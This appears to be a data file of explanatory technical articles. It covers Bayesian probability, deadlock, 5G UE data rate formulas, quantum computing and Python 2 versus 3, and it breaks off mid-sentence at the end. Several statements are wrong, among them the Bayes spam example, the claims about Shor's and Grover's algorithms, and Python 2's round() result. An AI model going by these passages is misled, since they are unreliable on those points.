truth renders probable\". \n\n\n### Could you give some applications of Bayes Probability?\n\nOne application is in spam filtering. The idea is to classify an email as spam. The email may or may not contain the word \"Viagra\" and not all mails with this word may be spam. We calculate the probabilities based on our prior knowledge of number of spam mails received. \\(P(spam)\\) is prior knowledge of spam mails in inbox. But the probability of the word appearing in a previous spam mail can give us a better estimate. P(V|spam) is the **likelihood** and P(V) is the **marginal likelihood**. \n\n$$P(spam|V) = P(spam) \\* \\frac{P(V|spam)}{P(V)} \\\\ where\\ P(V)=P(V|spam)+P(V|not\\ spam)$$\n\n\\(P(V|spam)/P(V)\\) is evidence from data that probability of word Viagra in spam mail. \\(P(spam|V)\\) is the posterior probability of mail being spam with word Viagra in it. When 100% of mails with Viagra are spam, then \\(P(spam|V)=P(spam)\\). When less than 100% of mails with Viagra are spam, then \\(P(spam|V) < P(spam)\\).\n\n\n### What are Frequentist and Bayesian approaches to Probability?\n\n*Frequentists* lean on the **Law of Large numbers** to back their probability estimate. For instance, a coin toss has equal probability of head or tail. This is derived from a large number of trials. Frequentists believe any deviation from equal probability is due to chance. \n\n*Bayesians* argue that **belief or prior knowledge** should be accounted for while calculating probability. Belief suggests a probability. New evidence may notch up or notch down the probability and form a new belief. Bayesians do not require Law of Large Numbers backing, but leverage them where applicable. Probability may be revised with a new piece of evidence, eventually converging to true probability after repeated revisions. For instance, the probability of new robot failing at a task starts with a belief, say \\(p\\), and as new evidence arrives, we revise \\(p\\). \n\nFrequentist and Bayesian approaches can be applied for all estimates including probability. While the two approaches are distinct, Bayesian probability complements Frequentist probability when,\n\n    + System is not yet stable.\n    + There's insufficient data to get backing from Law of Large Numbers.\n\n\n## Milestones\n\n1564\n\nSixteenth century Italian mathematician Girolamo Cardano is interested in gambling, to which he applies mathematics. Although gambling has been around for centuries, *randomness* is not a recognized concept. People continue to believe in Gods and oracles, until the Renaissance. Cardano's work is the first of its kind, although his work is published only much later in 1663. Today we know that he made some fundamental mistakes. \n\n1654\n\nIn a series of letters analyzing the *problem of points*, French mathematicians Blaise Pascal and Pierre de Fermat develop what can be seen as the foundations of a mathematical theory of probability. Their work is popularized by Christian Huygens in a publication of 1657. \n\n1713\n\nJakob (James) Bernoulli publishes *Ars Conjectandi*, in which he introduces many important concepts: permutations, a priori, a posteriori, Bernoulli trials, random variable. Bernoulli showed that the probability of an event can be approximated by the frequency of occurrence of the event from a large number trials. This later came to be called the **Law of Large Numbers**. \n\n1763\n\nThomas Bayes' now famous work on probability is posthumously published. The Bayesian approach to probability is adopted, and popularized by Pierre-Simon Laplace, until it's challenged in the early 20th century by mathematicians R. A. Fisher and Jerzy Neyman. To Bayes, probability is a measure of personal belief or reasonable expectation of the event. \n\n1812\n\nWith his publication of *Analytical Theory of Probability*, Pierre-Simon Laplace brings together recent developments in the field. This important work shows the application of probability to scientific problems. Thus, probability is no longer just about games of chance. Laplace himself states,\n\n> It is remarkable that probability, which began with the consideration of games of chance, should have become the most important object of human knowledge... [It] is at bottom nothing but common sense reduced to calculus... It teaches us to avoid the illusions which often mislead us.\n\n1933\n\nRussian mathematician A. N. Kolmogorov provides an axiomatic basis for the mathematical theory of probability, thus laying the foundations for a modern treatment of the subject.","meta":{"title":"Probability for Data Scientists","href":"probability-for-data-scientists"}}
{"text":"# Deadlock\n\n## Summary\n\n\nDeadlock is a problem that can occur when resources are shared among multiple processes. Suppose process P1 is waiting for a resource R1 currently being used by process P2. Meanwhile, P2 is waiting for resource R2 that's being used by P1. Neither process is able to proceed. This is an example of deadlock.  \n\nShared resources could be files, database tables, memory, peripherals (printers, tape drives), network, etc.  While we commonly talk of deadlocks among processes, it could be among threads, users, transactions, computers in a distributed system, etc.\n\nWhile it's possible to design systems completely free of deadlocks, it's inefficient not to share resources or avoid multiprocessing. Instead, there are techniques to avoid, detect and recover from deadlocks.\n\n## Discussion\n\n### Could you explain deadlocks with an example?\n\nIn real life, traffic deadlocks can occur at intersections. In computer science, the classic example used to illustrate deadlock is the **Dining Philosophers Problem**.\n\nFive philosophers are seated at a round dining table. There are five forks, each placed between two philosophers. Philosophers alternate between eating and thinking. To eat, a philosopher has to acquire both forks on either side of her plate but acquire them one at a time. Once a philosopher successfully gets both forks, she eats for a while, then puts down both forks and thinks for a while. Now her neighbouring philosophers can acquire one of the released forks and start eating if they already have another fork. \n\nDeadlock can occur when each philosopher acquires one fork and waits indefinitely for another fork. Thus, no philosopher can start to eat. They'll wait forever, neither eating nor thinking. \n\nIn this analogy, philosophers are the processes. Forks are the shared resources. If resource sharing is poorly coordinated, deadlocks can occur. The system stalls. No useful work gets done.\n\n\n### What are some areas in computer science where deadlocks can occur?\n\nDeadlocks can occur in database applications. For example, two transactions have locks on two different tables but also require access to the other table. This happens because operations within one transaction executes between operations of the other transaction, something that's common in concurrent systems. The problem is worse when databases are distributed. \n\nDeadlocks can occur in multithreaded applications or multiprocessing systems with shared resources. For example, one process is reading a file and then attempts to print the file. However, another process is using the printer and suddenly wants access to the file held by the first process. Both processes are now deadlocked.  \n\nExclusive access to a resource is typically implemented as a lock or mutex. The term *mutex* is common when accessing critical sections of code. The term *lock* is common in databases. \n\n\n### Which are the necessary conditions for a deadlock to arise?\n\nThere are four necessary conditions for a deadlock:  \n\n    + **Mutual Exclusion**: A resource can't be assigned to more than one process at a time.\n    + **Hold-and-Wait**: A process that's holding a resource is also waiting for another resource.\n    + **No Pre-emption**: Process that's holding a resource can't be forced to or doesn't voluntarily give up that resource.\n    + **Circular Wait**: Each process is waiting for a resource held by another process. This condition implies the hold-and-wait condition.\n\n### How do I analyze or visualize a deadlock?\n\n**Resource allocation graphs** help us understand or analyze deadlocks. Resources and processes are nodes of the graphs. Directed edges connect the nodes. A directed edge from a resource to a process implies that the resource is assigned to that process. A directed edge from a process to a resource implies that the process is requesting that resource.  \n\nWhere there are multiple instances of a resource, a request edge terminates at the edge of the resource box. On the other hand, an assignment edge always terminates at an instance. Each instance is represented as a dot within the resource box.  \n\nIn the figure we note two examples. Both have circular waits but only one of them is a deadlock. In sub-figure (b), P1 and P3 are waiting for R1 and R2 respectively. However, instances of R1 and R2 will become available once released by P2 and P4 respectively. There's no deadlock since P2 and P4 are not part of the circular wait and neither do they fulfil the hold-and-wait condition. \n\n\n### Which are some techniques to handle a deadlock?\n\nThe four common ways to handle deadlocks are:  \n\n    + **Prevention**: System is designed with constraints to prevent at least one of the conditions required for a deadlock.\n    + **Avoidance**: Algorithms decide at runtime to deny a resource request if subsequent requests might lead to a deadlock. Decisions may be conservative resulting in lower resource utilization.\n    + **Detection**: Periodically check for deadlocks. Frequent checks imply a performance overhead. Infrequent checks imply deadlocks are not caught soon enough. Use triggers such as a drop in CPU utilization to start a check. Perhaps check when a resource request can't be granted.\n    + **Recovery**: Take action to break one of the conditions for a deadlock. One of the processes could be terminated, called *victim selection*. Or the process is forced to release resources it holds.Deadlock prevention is easier than deadlock detection. For example, in the Dining Philosophers Problem, a simple rule will prevent deadlocks: given that the forks are numbered, each philosopher must first pick the lower-numbered fork before attempting to pick the higher-numbered fork. \n\n\n### Which are some concepts closely related to deadlock?\n\nWhile we often talk about processes blocked on resources, there are also **communication deadlocks**. In these cases, processes are waiting for messages from other processes. If two processes are waiting on each other for messages, they're in a communication deadlock. For generalization, we could consider messages as resources. Communication deadlocks are possible in distributed databases where a transaction requests some nonlocal data and is blocked until a response arrives. \n\nSometimes the system is not in a deadlock but work is not getting or progressing slowly. For instance, a process is unable to obtain a resource for long periods of time while other processes easily obtain the same resource, perhaps because they have a higher priority. This is called **starvation**. \n\nAnother problem is when processes are doing something, such as continually responding to each other or changing states, but not getting their tasks done. This is not a deadlock since processes are still running. It's called a **livelock**. \n\n\n### As a developer, what best practices should I follow to prevent deadlocks?\n\nTo prevent deadlocks, request all necessary resources together. In other words, a process is not allowed to obtain one resource and then request another. If for some reason a process holds a resource and its request for another resource is denied, it must give up the first resource. Another best practice is to impose a linear order in which resources must be requested. For example, always request file access before a printer access. \n\nImpose a constraint that a process can hold at most one lock at a time. It's also been said, \"never call other people's code while holding a lock\", unless that code doesn't acquire a lock. \n\nTo share resources, prefer alternatives to mutexes or locks. The resource could be replicated. Use a higher-level pattern to synchronize operations. For instance, the *pipeline pattern* serializes accesses without using mutexes. \n\nTo prevent communication deadlocks, at least one process must use non-blocking IO. An alternative is to use separate threads for send and receive operations, so that the process can still send messages while blocked on the receive thread.  \n\n## Milestones\n\n1961\n\nE. J. Braude publishes an IBM technical report titled *An algorithm for the detection of system deadlocks*. \n\n1968\n\nIn his paper titled *Co-operating sequential processes*, Dijkstra explains mutual exclusion and the use of semaphores or status variables to solve this. He then points out that the problem of deadlock, though he uses the term **deadly embrace** instead. He gives an example of processes holding some memory and requesting more memory, leading to a deadlock. He proposes **Banker's algorithm** as a method to avoid deadlocks. \n\n1968\n\nSome IBM publications describe the problem of deadlocks observed in ASP/OS/360. For example, when spooling disk space is full with input and output records, an input process and an output process can both be waiting for more disk space. Deadlocks could be avoided by rejecting new jobs once spool utilization reaches 80%; or cancelling a blocked job after a defined timeout. \n\nJun  \n1971\n\nCoffman et al. introduce the four necessary conditions for a deadlock. In time, these are called **Coffman conditions**. They also present sequence and state diagrams to explain deadlocks. \n\nJan  \n1974\n\nWithin the ARPA network (precursor to the Internet), deadlocks are being observed as resources are shared over the network. Robert Chen notes that the **deadlock problem in networks** requires a different approach from deadlocks on resources managed by a single operating system. In a message-switched system, a message travels through many store-and-forward buffers. A buffer can't be released until the message is transferred to the next buffer along the route. Deadlocks are more easily *realizable* (reachable from an empty system state) if routes are fixed and less realizable if alternatives routes (free buffers) can be found. \n\nDec  \n1987\n\nEdgar Knapp writes about deadlocks in **distributed databases**. He presents different models of deadlocks and various deadlock detection algorithms. He models resource requests using what he calls a **wait-for-graph (WFG)**. In the figure, the circles are nodes. Node t11 has two outstanding requests to t21 and t31. The cycle t11-t31-t33-t43-t41-t11 is in fact a deadlock. Mukesh Singhal extends this work in November 1989.","meta":{"title":"Deadlock","href":"deadlock"}}
{"text":"# 5G UE Data Rate\n\n## Summary\n\n\nIMT-2020 specifies the maximum data rate that 5G is required to offer. This is **20Gbps (downlink)** and **10Gbps (uplink)**. This is significant increase compared to IMT-Advanced (4G/LTE Release 14) that offers 1Gbps (downlink) and 50Mbps (uplink). \n\n3GPP gives us a formula to calculate the theoretical peak data rates at Layer 1. Knowing that real-world deployments are unlikely to achieve this, IMT-2020 specifies that \"user experienced\" data rate should be at least **100Mbps (downlink)** and **50Mbps (uplink)**. This value is 5th percentile value of user throughput that's based on bits correctly delivered to Layer 3. \n\nWe should also make a distinction between peak rate, average rate and median rate. Speed tests reporting only peak data rates can be misleading. Often real-world tests will quote average or median rates as well.\n\n## Discussion\n\n### How can I calculate the theoretical data rate in 5G NR for uplink and downlink?\n\n3GPP specifications TS 38.306 shares a formula for calculating the maximum data rate that a UE can support in downlink and uplink. The formula takes into account Carrier Aggregation (CA). The calculation is per component carrier (CC) and then added up over \\(J\\) carriers. \n\nAmong the constants, \\(10^{-6}\\) gives the final value in Mbps. \\(R\\_{max}\\) is 948/1024. This is the maximum LDPC coding rate. The number 12 refers to the number of sub-carriers in a Resource Block (RB). This is multiplied with \\(N^{BW}\\_{PRB}\\), which is the maximum number of RBs that can be allocated to the UE for a given sub-carrier spacing (SCS) and bandwidth. The formula assumes normal cyclic prefix. \n\nNumber of layers relates to MIMO layers. Modulation order \\(Q\\_m\\) translates symbols to bits. It takes values 1/2/4/6/8 for BPSK/QPSK/16QAM/64QAM/256QAM. \n\nWe divide bits by symbol time \\({T\\_s}\\). There are 14 OFDM symbols per slot, with 1ms slot time at 15kHz SCS. At higher SCS, the slot duration proportionally decreases, translating to higher data rates. \n\n\n### Could you explain the scaling factor and overheads in the UE data rate formula?\n\n**Scaling factor** \\(f\\) can take values 1, 0.8, 0.75 and 0.4. It relates to MIMO layers and modulation order that are considered *per band combination* in the formula. \n\nConsider for example a UE whose Baseband Processing Capability (BPC) is 100MHz, 4 layers and 256QAM. Suppose this UE is configured for two component carriers. Due to BPC, the UE can support only two layers for each CC, resulting in a scaling factor is 0.5. Alternatively, the UE may be configured to use four layers for each CC but a lower modulation order 64QAM is used instead, resulting in a scaling factor is 0.75. Scaling factor is configured via RRC signalling. \n\n**Overhead** \\(OH\\) ranges from 8% (FR1 UL) to 18% (FR2 DL). This is due to PHY signalling, typically including SSB, TRS, PDCCH, DM-RS, PT-RS, CSI-RS, PUCCH and SRS. We note that downlink mmWave transmissions have the highest overhead. \n\n\n### How do I calculate the data rate for the multi-RAT case?\n\nFor a UE using both E-UTRA and 5G NR, called Multi-Radio Dual Connectivity (MR-DC), rates are calculated separately for each Radio Access Technology (RAT) and then added up. E-UTRA rate that can be computed using E-UTRA's Transport Block Size (TBS). Data rate in Mbps is given by, \n\n$$ 10^{-3}\\cdot\\sum\\_{j=1}^J TBS\\_j$$\n\nThis considers \\(J\\) E-UTRA component carriers in MR-DC band combination. \\(TBS\\_j\\) is the maximum number of transport block bits in either DL-SCH or UL-SCH channels transmitted over a 1ms Transmission Time Interval (TTI) for the j-th CC. This factors in the number of MIMO layers used for that CC. \n\n\n### Could you show some sample calculations of 5G UE data rates?\n\nConsider FR1 data rate for a single CC. Parameters to use are 8 layers, 256QAM (value 8), scaling factor 1 and overhead of 0.14. Given 60kHz SCS, the equivalent numerology µ is 2. At 100MHz bandwidth, the number of RBs is 135. The calculated data rate is 4623Mbps. Instead, if we use 30kHz, at 100MHz we get 273 RBs. This gives us a slightly higher rate of **4674Mbps**. \n\nIn FR2, we limit to 2 layers but move up to 120kHz SCS at a bandwidth of 400MHz. Numerology µ is 3. We get 264 RBs. Overhead rises to 0.18. The calculated data rate is **4310Mbps**. By trading off MIMO layers against bandwidth, we obtain about the same data rate. FR2 gives lower latency but suffers from lower transmission range. \n\nUplink calculations are similar except for the overhead that differs from downlink. \n\nThese calculations are only for a single CC. 5G NR allows aggregation of up to 16 CCs. However, maximum aggregated spectrum is 1GHz. Moreover, the total rate that a UE can handle would depend on supported UE categories. \n\n\n### For 5G NR sidelink channels, how can I calculate the theoretical data rate?\n\nFor 5G NR sidelink channels, the above formula gives the maximum data rate. The parameters are almost similar to the case of downlink/uplink data rate calculation but there are a few differences. \n\nIn Release 16, sidelink channel is limited to 2 layers of MIMO. Overhead is 0.23 (FR1) and 0.25 (FR2). \n\n\n### What online resources are available to calculate 5G UE data rates?\n\n5G Tools for RF Wireless has a useful tool for 5G NR data rate calculation. Users can select downlink or uplink, FDD or TDD, number of component carriers, layers, modulation order, LDPC coding rate, scaling factor, SCS and bandwidth. There's also a selection of TDD slot format. The tool computes and displays all values derived from the above inputs. \n\nAn alternative is Clarke's calculator.\n\n## Milestones\n\nJun  \n2017\n\n**LTE-Advanced Pro Release 14** is finalized. LTE-Advanced Pro is specified in Release 13 and 14. This improves on LTE Release 8 and Release 9 with 10x faster downloads and 3x faster uploads. With LTE-Advanced Pro offering 1Gbps downlink data rate, it's also called *Gigabit LTE*. LTE-Advanced Pro is seen as a suitable migration path to full 5G deployments.\n\nNov  \n2017\n\nA report published by ITU-R specifies the minimum requirements for IMT-2020. This specifies data rate, spectral efficiency, user plane and control plane latencies, connection density, energy efficiency, reliability and mobility metrics. For data rate and spectral efficiency, peak and 5th percentile numbers are noted. \n\nMar  \n2018\n\nIn RAN WG1 meeting, **scaling factor** is introduced into the UE downlink/uplink data rate formula. This clarifies that the formula is for *per band combination*. \n\nMar  \n2020\n\nResearchers at the University of Toronto publish their findings on how well 5G NR satisfies IMT-2020 requirements. Based on simulations, they find that user experienced data rates meet IMT-2020 requirements. \n\nDec  \n2020\n\nReal-world measurements by Opensignal for the period Oct-Dec 2020 show that 5G networks are delivering average speeds better than **150Mbps (downlink)** and **20Mbps (uplink)**. User rating is excellent for video, voice and gaming experience. Philippines and Thailand have benefited the most for video apps compared to their existing 4G networks. It's expected that as networks deploy 5G Core, latency will improve, thus leading to even better experience. However, 5G availability experienced by users is still poor, at 30% in Kuwait, 25% in South Korea and 20% in the USA.","meta":{"title":"5G UE Data Rate","href":"5g-ue-data-rate"}}
{"text":"# Quantum Computing\n\n## Summary\n\n\nQuantum computers are next-generation computers that take a novel approach for processing information. They're built on the principles of quantum mechanics. They can solve some difficult problems that are practically impossible using conventional computers. Due to certain quantum properties, quantum computers are a lot faster. \n\nConventional computing, nowadays called classical computing, uses transistors to process information. Quantum computing works at the level of atoms and subatomic particles. In fact, there's a limit to how much we can miniaturize transistors since beyond a certain point quantum effects come into play. This is where quantum computing becomes relevant. \n\nQuantum computing is a subfield of quantum information science. Many aspects of quantum computing are yet to be understood. Building such computers and making them practical is still a challenge. As such, we expect classical computers to serve their purpose for many more decades.\n\n## Discussion\n\n### What are some possible applications of quantum computers?\n\n**Cryptography** is one of the applications. Today's digital systems are secure because classical computers can't do integer factorization within a reasonable time. A quantum computer can do this using Shor's algorithm. Quantum computing when applied to cryptography would lead to more secure systems. \n\n**Search problems**, or more generally optimisation of multivariate problems, are not efficiently solved using classical computers. A quantum computer programmed with Grover's algorithm can solve these problems in polynomial time. \n\nIn domains such as chemistry and nanotechnology, there's a need to **simulate quantum systems**. Classical computers are inefficient with such simulations. Quantum computers are better suited for this purpose. For example, modelling complex molecular interactions at atomic level can lead to drug discovery. Quantum simulations can help us build more efficient energy systems, better superconductors and newer materials. \n\n**Machine learning** involves training models with lots of data. Quantum machine learning is being explored to speed up learning. \n\nIn general, where classical computers are overwhelmed by lots of data and endless calculations, quantum computers can fill the gap. \n\n\n### Which are the essential quantum properties enabling quantum computing?\n\nThree quantum properties are being harnessed for quantum computing: \n\n    + **Superposition**: Given two states, a quantum particle exists in both states at the same time. Alternatively, we may say that the particle exists in any combination of the two states. The particle's state is always changing but it can be programmed such that, for example, 30% of the time it's in one state and 70% in the other state.\n    + **Entanglement**: Two quantum particles can form a single system and influence each other. Measurements from one can be correlated from the other.\n    + **Quantum Interference**: Trying to measure the current state of a quantum particle leads to a collapse; that is, the measured state is one of the two states, not something in between. External interference influences the probability of particle collapsing to one state or the other. Quantum computing systems must therefore must be protected from external interference.\n\n### What are qubits and pbits?\n\nIn classical computing, the unit of information is the bit. It's value is either 0 or 1. In quantum computing, due to superposition, the classical bit is inadequate to represent a continuum of states. Therefore, quantum bit or **qubit** has been defined as the unit of quantum information. \n\nTo say that a qubit can be both 0 and 1 simultaneously can sound mystical. A simple analogy is to consider an x-y plane and a vector 45 degrees to the x-axis. This vector has both x and y components at the same time. Likewise, a qubit is both 0 and 1 simultaneously. We can visualize it as any point on the **Bloch sphere** with the poles representing 0 or 1. \n\nProbabilistic bit or **pbit** is used as a simpler alternative to the qubit. The state of a pbit is a probabilistic combination of the two logical states 0 and 1. \n\nA process called **conditioning** converts pbits to classical information. Similarly, another process called **measurement** converts qubits to classical information. \n\n\n### What makes quantum computers compute faster than classical computers?\n\nIn classical computing, an n-bit number can represent a single value of range \\([0, 2^{n-1}]\\). In quantum computing, an n-qubit system represents all the possible \\(2^n\\) values at the same time. Alternatively, if we add a single bit to a classical computer, it's memory increases by one bit. The same change to a quantum computer doubles its memory. \n\nConsider a 4-bit input. To process all 16 possible input patterns, a classical computer would execute its algorithm one input at a time. A 4-qubit quantum computer would process all 16 patterns at the same time. As more bits are added to a quantum computer, its processing power increases exponentially. \n\nThis is why a 50-qubit system can be compared to a classical computer handling billions of bits. A qubit counts for much more than a classical bit. Fifty-qubit is an approximate threshold at which quantum computers are able to perform calculations not feasible with classical computers. \n\n\n### What does it take to build quantum computers?\n\nTo build a quantum computer, qubits must be housed in an environment that achieves minimum interference and maximum coherence. We need a method to transfer signals to qubits. We need classical computers to send instructions to qubits. Thus, it's not just about computing with qubits but also about converting from/to classical information. \n\nVarious **physical systems** can be used to build qubits: ion traps, crystal defects, semiconductor quantum dots, superconductors, topological nanowires, neural atoms in optical lattices, nuclear magnetic resonance (NMR) and more. \n\nJust as transistors are combined in classical computing to implement Boolean logic using logic gates, there are various **quantum computing models**. Quantum circuit is one such model that uses quantum gates. Other models include one-way or measurement-based quantum computer (MBQC), adiabatic quantum computer (AQC), and topological quantum computer. Quantum Turing Machine (QTM) is of theoretical importance. All models are equivalent to one another.  \n\n**Quantum algorithms** have to be developed. These are often specific to the computing model. \n\n\n### What does \"quantum\" refer to in quantum computing?\n\nA simple answer is that the term \"quantum\" comes from quantum mechanics. In physics, it refers to properties of atomic or subatomic particles, such as electrons, neutrinos, and photons. \n\nThe real question is what aspects of quantum mechanics make quantum computing better than classical computing. There's no definitive answer though some theories have been put forward. \n\nInterference, entanglement, quantum contextuality, logical structure of quantum mechanics and quantum parallelism have been proposed. All of these have their critics. We don't understand this very well. Perhaps this is why we have very few quantum algorithms.  \n\nA dominant theory is Quantum Parallelism Thesis (QPT), which in turn suggests Many Worlds Interpretation (MWI). Due to superposition, quantum computers compute on different input values simultaneously. In some sense, computations happen in parallel in many classical universes. Decoherence is used to distinguish one world from another. But this is at odds with the quantum circuit model and its coherence superpositions. Moreover, any measurement collapses the output state. Quantum algorithms must therefore construct 'clever' superpositions to increase the chance of obtaining a useful result. \n\n\n### What are some practical difficulties of building quantum computers?\n\nChallenges include fabrication, verification and architecture. Since quantum states are fragile, fabrication must be precise. Since any measurement collapses the state in a probabilistic manner, verification is difficult. Errors are more common than in classical computing and error correction is essential to the architecture. \n\nInteractions with external environment results in decoherence. At best, we're able to maintain coherence for only a few microseconds. Coherence becomes harder to achieve with more qubits. Coherence requires that superconductors are cooled to near absolute zero. \n\nScaling up to more qubits on a single chip is another challenge. Today's systems need multiple control wires for every qubit. \n\nFor various reasons that we can simply call noise, qubits change state. We therefore need efficient error correction methods. One approach is to use many physical qubits (as many as 10,000) to map to a single logical qubit. This makes it even more difficult to build a useful quantum machine. Some consider quantum error correction to be the most important problem that needs focused research. Some even estimate that 99% of quantum computations will be spent for error correction. \n\n## Milestones\n\n1975\n\nPoplavskii shows that it's computationally difficult to simulate quantum systems using classical computers. This view is reiterated by Feynmann at a conference in MIT in 1980. \n\n1976\n\nPolish mathematical physicist Roman Stanisław Ingarden publishes a seminal paper titled *Quantum Information Theory*. It's an attempt to generalize Shannon's information theory. \n\n1980\n\nPaul Benioff describes the first quantum mechanical model of a computer. He uses the Schrödinger equation to describe a **Quantum Turing Machine (QTM)**. Yuri Manin proposes the idea of quantum computing. Benioff further develops his QTM in 1982. \n\n1982\n\nWootters, Zurek and Dieks state the **No-Cloning Theorem**. This states that it's impossible to make identical copies of an arbitrary unknown quantum state. The theorem is consistent with the uncertainty principle in quantum mechanics. The theorem implies that a qubit can't be copied. This is a problem for taking backups or error correction. However, it's a useful property for cryptography. \n\n1985\n\nDavid Deutsch at the University of Oxford describes the first **universal quantum computer**. Like its classical counterpart in the Universal Turing Machine (UTM), this can simulate any other quantum computer in polynomial time. \n\n1994\n\nPeter Shor at AT&T Bell Labs invents a quantum algorithm that can factor large integers lot faster than classical computers. Theoretically, this can break many cryptographic systems in current use. This sparks interest in quantum computing. In time, this is called **Shor's Algorithm**. Shor assumes that qubits maintain their states. In practice, decoherence is a problem. \n\n1995\n\nShor and Steane independently invent the first **quantum error correcting codes**. This circumvents the no-cloning theorem. \n\n1996\n\nLov Grover at Bell Labs invents the quantum database search algorithm. This is relevant to a variety of problems. In particular, brute-force search problems obtain quadratic speedup. In time, this is called **Grover's Algorithm**. \n\n1998\n\nResearchers at the University of Oxford **demonstrate a quantum algorithm** on a 2-qubit NMR quantum computer. IBM researchers achieve a similar demonstration. The same year Grover's algorithm is demonstrated on an NMR quantum computer. \n\n2015\n\nCambridge Quantum Computing releases t|ket>, which could be the first **operating system** for quantum computing. This enables classical computers interface to quantum computers. \n\n2016\n\nIBM's 5-qubit quantum computer becomes **available on the cloud** for academics and researchers, leading to demonstrations in 2017. \n\nOct  \n2019\n\nGoogle claims to have achieved quantum supremacy with a 53-qubit programmable superconducting processor. Named *Sycamore*, it's based on quantum logic gates. The machine completes a benchmark test in 200 seconds, what a classical supercomputer would take 10,000 years. However, IBM claims a supercomputer with more disk storage could solve the problem in 2.5 days. In August 2020, 12 qubits of Sycamore are used to simulate a chemical reaction. \n\nMar  \n2020\n\nHoneywell reports on a demonstration of a quantum computer architecture based on trapped-ion QCCD (Quantum Charge-Coupled Device). This year sees more interest from start-ups pursuing trapped-ion QCCD. Trapped-ion quantum computers can be traced to 1995 but most companies (IBM, Intel, Google) focused on superconductors instead.","meta":{"title":"Quantum Computing","href":"quantum-computing"}}
{"text":"# Python 2 vs 3\n\n## Summary\n\n\nPython 3 was released to fix problems present in Python 2. The nature of these changes meant that Python 3 was incompatible with Python 2. It also meant that Python 3 did not carry forward the problems of Python 2. Some aspects of Python 3 have been backported to Python 2.6 and 2.7 to make the migration to Python 3 easier.\n\nPython 2 was supposed to be retired in 2015 but slow adoption of Python 3 led to an extended deadline of 2020. Python 2.7 will receive updates till 2020 for security and bug fixes only. \n\nAs of February 2018, it's seen on Python 3 Readiness that 348 of 360 most downloaded packages from PyPI already support Python 3. \n\nIt's expected that if ever there should be a Python 4, it will be compatible with Python 3.\n\n## Discussion\n\n### What were the main issues with Python 2?\n\nA `str` object could represent either text or binary data. This easily results in bugs because developers often don't use `unicode` type for text. Python 3 solves this by making all `str` Unicode and having `bytes` type to handle binary data. It's explicit and unambiguous. To support string literals involving non-ASCII characters, making Unicode as default is a good thing. \n\nWhen functions are treated as objects in Python and can take arguments, `print` is an unnecessary exception. It's a statement in Python 2 but making it a function would be make it more flexible. \n\nDivision that should result in a `float` instead does truncation and results in an `int`. Python 2 needed extra functions/methods to minimize RAM usage but Python 3 does lazy evaluation by default. Although Python is strongly typed, Python 2 permits strange comparisons: `None < 3 < \"2\"`. \n\nNick Coghlan provides a detailed discussion of why Python 3 was defined in a backwards incompatible manner. \n\n\n### I am new to Python. Should I learn Python 2 or Python 3?\n\nPython 3 fixes many of the problems that are present in Python 2. Python 3 is also the future of the language since Python 2 will be retired in 2020. It's therefore recommended that beginners learn Python 3. Moreover, if you're going to write new code, Python 3 is the one to choose. Eevee's blog article gives a detailed explanation of all the good things in Python 3. \n\nIf you've to maintain legacy Python 2 code, it's still best to learn Python the right way from Python 3. Then you can study the differences between Python 2 and 3. The point is that the two versions are much more similar than different. \n\n\n### What features of Python 3 have been backported to Python 2.7?\n\nBackporting has been done mainly to aid in the eventual migration of Python 2 code to Python 3. A list of backports is documented in the official Python Docs and explained briefly in Eevee's blog.\n\nAs an example, `bytes` and `bytearray` are part of Python 3.x but they were backported to 2.6 but with very different semantics. In Python 2, `bytes` is really an alias of `str`. The purpose was really to aid converters such as `2to3`. \n\n\n### What are the differences between Python 2 and Python 3 for data types?\n\nFollowing is a summary of key differences: \n\n\n| Python 2.X | Python 3.X |\n| --- | --- |\n| There's ASCII `str` type and `unicode` type, but no separate type to handle bytes of data | All strings (`str`) are Unicode strings; two byte classes are introduced: `bytes` and `bytearray` |\n| Two types of integers: C-based integers (`int`) and Python long integer (`long`) | All integers are long but referred to by the `int` type |\n| Return type of division is int if operands are integers: `5 / 4` gives `1`; `4 / 2` gives `2` | Return type of division is `float` even if operands or result are integers: `5 / 4` gives `1.25`; `4 / 2` gives `2.0` |\n| `round(16.5)` returns a `float` of value 16.0 | `round(16.5)` returns an `int` of value 16 |\n| Unorderable types can be compared | Comparison of unorderable types raises a TypeError |\n\n\n### What are the other differences between Python 2 and Python 3?\n\nFollowing is a summary of key differences: \n\n\n| Python 2.X | Python 3.X |\n| --- | --- |\n| `print` is a statement: `print \"Hello World!\"` | `print()` is a built-in function: `print(\"Hello World!\")` |\n| `range()` returns a list of numbers while `xrange()` returns an object for lazy evaluation | `range()` returns an object for lazy evaluation similar to Python 2 `xrange()`; and `range()` method `&lowbar;&lowbar;contains&lowbar;&lowbar;` speeds up lookups |\n| Functions/methods `map()`, `filter()`, `zip()`, `dict.items()`, `dict.keys()`, `dict.values()` return lists | These function/methods return objects for lazy evaluation |\n| `raw_input()` returns input as `str` and `input()` evaluates the input as a Python expression | `input()` will return a string similar to Python 2 `raw_input()` |\n| Raising exceptions: `raise IOError(\"file error\")` or `raise IOError, \"file error\"` | Raising exceptions: `raise IOError(\"file error\")` |\n| Handling exceptions: `except NameError, err:` or `except (TypeError, NameError), err:` | Handling exceptions: `except NameError as err` or `except (TypeError, NameError) as err` |\n| On generators, a method or function call: `g.next()` or `next(g)` | On generators, only a function call: `next(g)` |\n| Loop variables in a comprehension leak to global namespace | Loop variables are limited in scope to the comprehension |\n\n\n### What does the Python standard library provide to manage the incompatibility between Python 2 and 3?\n\nThe following are some modules that we can use:\n\n    + `builtins`: To create wrappers around built-in functions, `builtins` is useful.\n    + `future_builtins`: Function `map` and `filter` in Python 2 behave differently than in Python 3. To get Python 3 behaviour, use `from future_builtins import map, filter`.\n    + `&lowbar;&lowbar;future&lowbar;&lowbar;`: In Python 2, to use `print()` only as a function, use `from &lowbar;&lowbar;future&lowbar;&lowbar; import print_function`.\n    + `2to3`: To convert Python 2 code to Python 3, this standard library can be used. It applies a series a fixers to do the conversion. It's based on `lib2to3` library, which can be used to add custom fixers. Python Converter is online conversion tool based on `2to3`.\n\n### I have a legacy Python 2 codebase but would like to start supporting Python 3 as well. What can I do?\n\nThere are a few approaches that developers can take depending on the need:\n\n    + `modernize`: This is useful when you want to partially support both 2 and 3 with the goal of eventually porting to Python 3.\n    + `future`: This enables either Python 2 or 3 code to be used across both versions. It comes with scripts `futurize` and `pasteurize` for 2-to-3 and 3-to-2 conversions respectively so that a single codebase can be used. It's supported for versions 2.6+ and 3.3+. There is a cheatsheet that gives examples of writing compatible code.\n    + `six`: This wraps over the differences between 2 and 3 without modifying code. This means the code can run on both versions.It's recommended to drop support for Python 2.6 and older if possible. If legacy code must be maintained, one can opt for commercial services such as from ActiveState. \n\nTools such as pylint, 